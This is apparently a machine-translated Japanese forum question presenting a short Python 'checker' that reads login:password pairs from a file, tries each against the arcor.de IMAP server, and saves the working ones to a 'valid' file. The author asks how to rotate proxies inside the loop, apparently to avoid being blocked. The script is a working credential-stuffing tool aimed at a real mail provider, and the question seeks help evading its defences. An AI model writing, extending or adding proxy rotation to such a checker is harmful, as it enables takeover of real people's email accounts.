に基づいて簡単なチェッカーを書いていIMAPClient
ます。ループでは、ファイルから 1 行ずつ移動し、login\password で割り、IMAPClient
. 問題は、サーバーからのハンドシェイクで予想どおりです。周期的にプロキシを変更する必要がありますが、 にはそのようなオプションはありませんIMAPClient
。このライブラリに関係なく、ループ内でプロキシを変更できますか? もしそうなら、どのように?OS
? socket
?
file_sval = io.open("...arcor.de", encoding="utf-8")
for i in file_sval:
stroke = i.split(":")
login = stroke[0]
password = stroke[1].replace("\n", "")
server = IMAPClient('imap.arcor.de', use_uid=True)
try:
valid = server.login(login, password)
print(count," ", i.replace("\n",""), " ", "VALID")
file_valid = io.open("...valid.de", "a", encoding="utf-8")
file_valid.write(i)
file_valid.close()
except imaplib.IMAP4.error:
print(count," ", i.replace("\n","")," ", "NO")
count += 1